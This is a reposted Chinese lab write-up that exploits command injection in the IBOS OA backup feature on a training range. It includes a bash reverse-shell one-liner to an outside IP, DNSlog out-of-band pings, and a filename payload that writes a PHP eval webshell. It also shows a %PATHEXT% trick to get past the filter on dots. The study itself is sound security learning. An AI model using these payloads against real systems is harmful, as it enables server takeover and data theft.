0


命令执行漏洞--ibos靶场(靶场环境是掌控安全的)

基础知识

命令执行:用户传入的参数,会被当成系统指令来执行,指令内容用户可控,属于代码执行的一种
ctrl+u:在view-source模式自动换行

危险函数
  1. system()函数:直接执行命令,并且输出
  2. exec()函数:默认显示最后一行结果,没有输出
  3. shell_exec()函数:多行结果,没有输出
  4. passthru()函数:等价于system()函数
  5. ``(反引号):反引号里面的内容优先执行,在linux中较多
  6. fopen()函数
特殊技巧(我也不知道是干啥的技巧)
  1. 通过 > 符号,将结果输出到某个文件里面,结果覆盖保存
  2. 通过 >> 符号,将结果输出到某个文件里面,结果末尾追加
  3. | 管道符,将前面的指令运行结果,当成后面指令的输入内容ipconfig| findstr "IPv4"
结果没有输出(没有回显),怎么判断是否执行
  1. 使用dnslog数据外带
    ping -n 1 2.abt1zl.dnslog.cn # windows 用 -n 指定ping的次数
    ping -c 1 2.abt1zl.dnslog.cn # linux 用 -c 指定ping的次数
  2. 将指令的结果输出到一个文本文件中,然后去访问这个文件

disable_function:用于禁止某些函数,接受逗号分隔的函数名列表作为参数

php代码审计重点
  1. 跟进函数分析 function 函数名
  2. 全局搜索危险函数
  3. 是否过滤:sql过滤通过正则匹配sql(危险函数)token绑定,签名:硬编码
  4. 过滤能否绕过
利用思路
  1. 写一个一句话木马
  2. 反弹shell
    需要一个能被目标访问到的ip和端口
    通过指令获得 一个远程的终端 由服务器主动外联,提供一个终端的
    bash -i >& /dev/tcp/192.168.189.128/8888 0>&1 2>&1
  3. 直接上马(后门)
审计ibos.exe文件

用exe文件搭建环境的原因:搭建过程简单,对源码的保密,源码通常对运行环境要求非常苛刻
源码审计如何去做:

  1. 分析代码是否加密,使用了加密手法:一般exe文件中内容会加密,可以打开文件头/文件尾查看是否有标识性的特征,搜索后进行解密(SeayDzend)
  2. 分析源码:最后可控的变量是在最后面

ibos 使用了 yii 框架(php框架) => 对标 thinkphp框架

其他绕过方法:

&&:与
||:或
&:%26

本地环境

环境搭建

点击exe文件进行安装,预防后期需要使用浏览器查看,将其安装在网站根目录下

安装后会有框架,所以感觉安装在网站根目录下的选择有点错误
安装界面

安装完成,打开目录下的文件进行查看
发现有些文件进行加密处理过

针对这种加密文件,我们可以查看文件头或者文件尾,寻找其特征,此靶场我们可以发现文件头有Zend 2004072203 65540 979 3393 等字段,可以进行百度搜索

根据搜索结果得知是zend guard 5.5加密

此时我们可以用百度搜索在线解密软件,或者直接用软件:SeayDzend进行解密(此靶场使用第二种方法)

发现软件最高只有5.4版本,又搜了一下,发现可能是5.3版本加密,进行解密

查看解密后的文件,确定就是5.3版本加密

接下来进行代码审计,首先搜索危险函数system(),没啥用

继续搜索exec()函数

Database.php文件

根据提示找到漏洞点
执行mysqldump命令,通过查询将数据库内容的信息(主机、用户名、密码、数据库名)导入到文件中
mysqldump工具是备份MySQL数据库的工具,可以将数据库中的数据和结构导出到一个SQL文件中,以便日后恢复数据。

  1. 首先,运行mysqldump命令。
  2. 指定要备份的数据库名称。
  3. 可以选择导出数据和结构,或只导出其中之一。
  4. 将导出的内容保存到一个SQL文件中,以便以后使用。

此时猜测此漏洞和数据备份功能相关
其中对末尾的文件名:$dumpFile进行猜测是否可控

在文件内ctrl+f进行搜索变量名:$dumpFile,向上查看是否有对文件名的处理
其中像类似这种的情况不是对文件名的初始化处理,所以还需要向上寻找

一直找到文件的第353行,根据unlink函数猜测是与删除文件有关

继续向下读代码(352-361行),此段代码会将文件删除后再次进行文件的备份

继续向上读代码,查找要删除的$dumpFile的来源(352行)
拼接备份文件的文件名并添加后缀.sql,此时我们可以使用xxx||1.php进行绕过

继续向上查找$backupFileName的来源(239行)
使用正则对$fileName进行匹配,将路径和文件名进行拼接,其中对文件名中的**/(反斜杠)、\(双斜杠)、.(点)、'**(单引号)进行过滤,替换为空,并赋值给$backupFileName

再次跟进拼接的变量$fileName(166-171行)
fileName使用getRequest方法得到,

根据定义的类core\utils\Env,找到core\utils\Env文件,在文件内搜索getRequest方法(115-139行)

core\utils\Env(115-139行)

Ibos::app() 调用静态方法获取应用程序的实例,并从中获取request对象
$fileName只传了一个参数,所以只有变量key是可控的,同时变量type的值默认是“GP”,所以case选项只有G和P两个选择
当type=G的时候,变量var=request使用$request->getQuery($key, $defaultValue)方法获取特定键的值

此时我们直接去全局搜索getQuery函数
判断是否存在get方式得到的name,如果存在则返回,不存在返回默认值(空)
此时猜想getPost函数是判断是否存在post方式得到的name

此时可以确定env文件中的request变量是接收来自get或者post传参,且功能为网站数据备份

去网站查看数据备份功能

因为是对数据进行备份,所以是需要登录后台的

在通用设置->数据库中找到备份功能

发现备份分为ibos备份和自定义备份(差不多的东西,不想说了),先尝试ibos备份功能,点击提交后使用bp进行抓包,没看见有可利用的点

再次查看Database文件shell_exec函数附件,发现还需要满足method不等于multivol

发现下面还有更多的选项(更多选项中包含shell备份和分卷备份,刚开始以为两种方法都能用,后来发现ibos就是shell备份写shell,所以此处还要选择shell备份),打开后发现有备份文件名,且文件名可以修改,后缀为.sql,联想到Database文件中的.sql后缀的绕过,

点击提交,使用bp抓包,文件名可改,且后缀为.sql

因为文件对文件名单引号过滤,所以此处包含文件可使用双引号和反引号(我想用双引号)将文件名改为

%26echo%20"<?php%20eval($_REQUEST[8])?>"%20>1%26

从而将木马写入1.php文件(因为此时还对点进行过滤了,所以我们先尝试写入1文件,先测试此功能是否可行,再研究绕过问题),此时.被过滤,需要再次寻找绕过方式

将修改后的数据包进行放行,此时再打开浏览器,出现了报错(但是没事),在当前目录下访问1文件,此时访问后会将文件下载,打开后发现将木马成功写入

.绕过

可参考此文章https://bbs.zkaq.cn/t/4557.htm
截取字符串的语法就是 %变量名:~x,y%
PATHEXT在windows中是环境变量,此时第一位是.

所以我们可以借助**%PATHEXT:~0,1%**(其中0,1是指从第0位开始取1位)来得到.

此时要插入的语句为:**%26echo%20"<?php%20eval($_REQUEST[8])?>"%20>1%PATHEXT:~0,1%php%26**

使用bp进行抓包,修改数据包

放包后访问1.php文件,绕过成功

靶场环境

根据题目提供的账号密码直接登录(账号:admin,密码zkaqzkaq),找到管理后台 -> 通用设置 -> 数据库,进行备份操作
其中数据备份类型随意选择即可,更多选项中数据备份方式要选择shell备份

点击提交后使用bp进行抓包,插入木马语句

%26echo%20"<?php%20eval($_REQUEST[8])?>"%20>1%PATHEXT:~0,1%php%26

放包后查看网站目录下的1.php文件,绕过成功

根据题目提示:flag在网站的system\config\config.php中的authkey的值,所以我们还需要连接哥斯拉进行查看flag

找到flag:7441b88SH97Jzndp

标签: web 学习方法 笔记

本文转载自: https://blog.csdn.net/xiesiyuan1/article/details/136318558
版权归原作者 王绍煜 所有, 如有侵权,请联系我们删除。

“命令执行漏洞--ibos靶场(靶场环境是掌控安全的)”的评论:

还没有评论